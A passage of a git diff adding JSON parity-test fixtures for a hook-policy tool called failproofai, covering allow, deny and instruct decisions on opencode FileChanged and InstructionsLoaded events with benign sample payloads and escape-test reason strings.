"reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..cfec4ee7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..9406cf88 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ef802133 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..3ba7e1ad --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9e0d9088 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-present__two-policies.json new file mode 100644 index 00000000..32bb2206 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..0bd498b0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..3ebe53d6 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..44ab1cb9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5f8ef97b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..38be0985 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..918bb3ab --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..8146b84d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..89f746ce --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..40ae29ca --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..7a9c77f2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..96560542 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f8d320a0 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..451f154c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": 